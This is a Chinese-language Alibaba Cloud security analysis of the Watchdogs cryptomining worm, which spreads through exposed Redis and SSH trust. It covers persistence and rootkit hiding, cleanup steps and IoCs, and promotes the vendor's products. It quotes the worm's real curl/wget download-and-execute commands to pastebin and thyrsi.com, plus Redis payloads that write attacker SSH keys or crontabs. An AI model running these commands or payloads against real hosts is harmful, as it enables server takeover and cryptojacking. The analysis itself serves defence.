背景
2 月 20 日 17 时许, 阿里云安全监测到一起大规模挖矿事件, 判断为 Watchdogs 蠕虫导致, 并在第一时间进行了应急处置.
该蠕虫短时间内即造成大量 Linux 主机沦陷, 一方面是利用 Redis 未授权访问和弱密码这两种常见的配置问题进行传播, 另一方面从 known_hosts 文件读取 ip 列表, 用于登录信任该主机的其他主机. 这两种传播手段都不是第一次用于蠕虫, 但结合在一起爆发出巨大的威力.
然而 Watchdogs 并不是第一个造成这般影响的 Redis 蠕虫. 截至目前, Redis 配置问题已惨遭 40 余种蠕虫攻击和利用; 此外, 其他种类数据库的配置问题, 也难保不在将来成为黑客的目标.
因此, 本文在分析此次 Watchdogs 挖矿蠕虫, 提供清理建议的同时, 也分析了数据库蠕虫的发展趋势, 并针对类似的大规模入侵事件的应急和预防给出建议.
Watchdogs 挖矿蠕虫简介
该蠕虫的感染路径如下图所示.
蠕虫传播方式
攻击者首先扫描存在未授权访问或弱密码的 Redis, 并控制相应主机去请求以下地址:
https://pastebin.com/raw/sByq0rym
该地址包含的命令是请求, base64 解码并执行另一个 url 地址的内容:
(curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|base64 -d|sh
而 https://pastebin.com/raw/D8E71JBJ 的内容解码后为一个 bash 脚本, 脚本中又包含下载恶意程序 Watchdogs 的指令.
(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
如上图所示, 本次蠕虫的横向传播分为两块.
一是 Bash 脚本包含的如下内容, 会直接读取主机上的 / root/.SSH/known_hosts 和 / root/.SSH/id_rsa.pub 文件, 用于登录信任当前主机的机器, 并控制这些机器执行恶意指令.
二是 Bash 脚本下载的 Watchdogs 程序, 通过对 Redis 的未授权访问和爆破, 以及对 SSH 的爆破, 进行横向传播.
具体为表现为, Watchdogs 程序的 Bbgo() 函数中, 首先获取要攻击的 ip 列表
随后尝试登录其他主机的 SSH 服务, 一旦登录成功则执行恶意脚本下载命令
在 Ago() 函数中, 则表现为针对其他主机 Redis 的扫描和攻击.
恶意 Bash 脚本
除了下载 Watchdogs 程序和横向传播外, Bash 脚本还具有以下几项功能
1. 将下载自身的指令添加到 crontab 定时任务, 10 分钟执行一次
2. 杀死同类的挖矿僵尸木马进程
杀死 CPU 占用大于 80% 的其他进程
简而言之, bash 脚本主要是完成恶意程序植入, 持久化和一部分的横向传播功能.
Watchdogs 分析
Watchdogs 程序为 elf 可执行文件, 由 go 语言编译, 其主要函数结构如下图所示.
1.LibiosetWrite()
该函数主要执行 libioset.so 文件的写入
2.Cron()
将恶意下载命令添加到 / etc/cron.d/root 等多个文件中, 定时执行, 加大清理难度
3.KsoftirqdsWriteRun()
解压并写入挖矿程序及其配置文件
Bbgo() 和 Ago() 函数的功能在 "蠕虫传播方式" 一节已有介绍, 此处不再赘述.
综上, Watchdogs 程序在 Bash 脚本执行的基础上, 将进一步进行挖矿程序的释放和执行, 恶意 so 文件写入以及剩余的横向传播.
libioset.so 分析
如图是 libioset.so 的导出函数表, 包括 unlink, rmdir, readdir 等.
这里以执行 rm 命令必须调用的 unlink() 函数为例.
它只对不包含 "ksoftirqds","ld.so.preload","libioset.so" 这几个字符串的文件调用正常的 unlink(), 导致几个文件无法被正常删除.
其他几个命令, 如 readdir 也是类似, 无法正常返回关于恶意程序的结果.
而 fopen 函数更是变本加厉, 由于系统查询 CPU 使用情况和端口占用情况时, 都会调用 fopen, 于是攻击者 hook 了这一函数, 使其在读取'/proc/stat'和'/proc/net/tcp'等文件时, 调用伪造函数
其中 forge_proc_cpu() 函数, 将返回硬编码的字符串
这种对查看系统状态功能的恶意 hook, 导致用户难以通过简单自查, 确定挖矿是否存在以及挖矿进程是哪个.
"许多黑客模仿我的代码"-- 数据库蠕虫趋势统计
此次的 Watchdogs 挖矿蠕虫与 18 年出现的 kworkerd 蠕虫出自同一位作者 (关于 kworkerd 挖矿僵尸网络参见《2018 年云上挖矿分析报告》), 因为它们使用了相同的钱包地址和相似的攻击手法. 此外作者在恶意脚本末尾的注释也印证了这点:
#1.If you crack my program, please don't reveal too much code online.Many hacker boys have copied my kworkerds code,more systems are being attacked.(Especially libioset)...
这段注释同时也揭露了一个事实,"许多黑客模仿我的代码"-- 当一个攻击者采取了某种攻击手法并取得成功, 其他攻击者会纷纷模仿, 很快将该手段加入自己的 "攻击大礼包".
这种模仿的结果是, 据阿里云安全不完全统计, 利用 Redis 未授权访问等问题进行攻击的蠕虫, 数量已从 2018 年中的一个, 上涨到如今的 40 余个, 其中不乏 DDG,8220 这样臭名昭著的挖矿团伙. 此外大部分近期新出现的蠕虫, 都会加上 Redis 利用模块, 因为实践证明互联网上错误配置的 Redis 数据库数量庞大, 能从其中分一杯羹, 攻击者的盈利就能有很大的提升.
因而如果不保护好 Redis, 用户面临的将不是一个蠕虫, 而是 40 余个蠕虫此起彼伏的攻击.
下图所示为近半年来, 针对 Redis 的攻击流量和目标机器数量趋势, 从中不难看出 Redis 攻击逐渐被各大僵尸网络采用, 并在 2018 年 10 月 11 月保持非常高的攻击量; 而后在经历了 3 个月左右的沉寂期后, 在今年 2 月再次爆发.
而 Redis 本身遭受攻击的主流方法也经过了三个阶段
1. 攻击者对存在未授权访问的 Redis 服务器写入 SSH key, 从而可以畅通无阻登录 SSH 服务
具体为执行以下 payload
- config set dir /root/.SSH/
- config set dbfilename authorized_keys
- set x "\n\n\nssh-rsa [sshkey] root@kali\n\n\n"
- save
其中 [sshkey] 表示攻击者的密钥
2. 攻击者对存在未授权访问的 Redis 服务器写入 crontab 文件, 定时执行恶意操作
具体为执行以下 payload
- config set dir /var/spool/cron
- config set dbfilename root
- set x "[evil command]"
- save
其中 [evil command] 表示定时执行的恶意命令
3. 以上两个阶段中仅对 Redis 完全没有验证即可访问的情况, 第三个阶段则开始针对设置了密码验证, 但密码较弱的 Redis 进行攻击, 受害范围进一步扩大.
然而 Redis 并不是唯一一个受到黑客 "青眼" 的数据库. 如下表所示, SQL Server, MySQL, MongoDB 这些常用数据库的安全问题, 也被多个挖矿僵尸网络所利用; 利用方式集中在未授权访问, 密码爆破和漏洞利用.
Watchdogs 入侵修复及清理方法
1. 首先停止 cron 服务, 避免因其不断执行而导致恶意文件反复下载执行.
如果操作系统可以使用 service 命令, 则执行
service crond stop
如果没有 service 命令, 执行
/etc/init.d/cron stop
2. 随后使用 busybox 删除以下两个 so 文件:
- sudo busybox rm -f /etc/ld.so.preload
- sudo busybox rm -f /usr/local/lib/libioset.so
- sudo ldconfig
busybox 是一个小巧的 unix 工具集, 许多 Linux 系统装机时已集成. 使用它进行删除是因为系统自带的 rm 命令需要进行动态 so 库调用, 而 so 库被恶意 hook 了, 无法进行正常删除; 而 busybox 的 rm 是静态编译的, 无需调用 so 文件, 所以不受影响.
3. 清理恶意进程
- sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'`
- sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`
4. 清理 cron 相关文件, 重启服务, 具体为检查以下文件并清除其中的恶意指令:
- /var/spool/cron/crontabs/root
- /var/spool/cron/root
- /etc/cron.d/root
之后执行
service crond start
或
/etc/init.d/cron start
安全建议
数字加密货币的获取依赖计算资源的特质, 催生了黑客进行大规模入侵的动机和土壤; 类似 Watchdogs 蠕虫这样的数据库入侵事件, 不是第一起, 也不会是最后一起. 阿里云作为 "编写时即考虑安全性" 的平台, 提供良好的安全基础设施和丰富的安全产品, 帮助用户抵御挖矿和入侵, 同时提供以下安全建议:
1. 在入侵发生之前, 加强数据库服务的密码, 尽量不将数据库服务开放在互联网上, 或根据实际情况进行访问控制 (ACL). 这些措施能够帮助有效预防挖矿, 勒索等攻击. 平时还要注意备份资料, 重视安全产品告警.
2. 如果怀疑主机已被入侵挖矿, 对于自身懂安全的用户, 在攻击者手段较简单的情况下, 可以通过自查 CPU 使用情况, 运行进程, 定时任务等方式, 锁定入侵源头.
3. 对于攻击者采用较多隐藏手段的攻击 (如本次的 Watchdogs 蠕虫, 使 ps,top 等系统命令失效), 建议使用阿里云安全的下一代云防火墙产品, 其阻断恶意外联, 能够配置智能策略的功能, 能够有效帮助防御入侵. 哪怕攻击者在主机上的隐藏手段再高明, 下载, 挖矿, 反弹 shell 这些操作, 都需要进行恶意外联; 云防火墙的拦截将彻底阻断攻击链. 此外, 用户还可以通过自定义策略, 直接屏蔽 pastebin.com,thrysi.com 等广泛被挖矿蠕虫利用的网站, 达到阻断入侵的目的.
如图是云防火墙帮助用户拦截此次 Watchdogs 蠕虫下载的例子, 图中共拦截 23 次对 pastebin.com 的请求; 这些拦截导致主机未下载恶意脚本, 从而就不会发起对 thrysi.com 的请求, 故规则命中次数为 0.
以上截图表明 Watchdogs 的攻击链未能执行到下一步, 拦截起到了很好的效果.
4. 对于有更高定制化要求的用户, 可以考虑使用阿里云安全管家服务. 购买服务后将有经验丰富的安全专家提供咨询服务, 定制适合您的方案, 帮助加固系统, 预防入侵. 入侵事件发生后, 也可介入直接协助入侵后的清理, 事件溯源等, 适合有较高安全需求的用户, 或未雇佣安全工程师, 但希望保障系统安全的企业.
IoC
钱包地址
46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava
矿池地址
xmr.f2pool.com
恶意 url
- pastebin.com/raw/sByq0rym
- thyrsi.com/t6/672/1550667515x1822611209.jpg
恶意文件
来源: https://yq.aliyun.com/articles/691804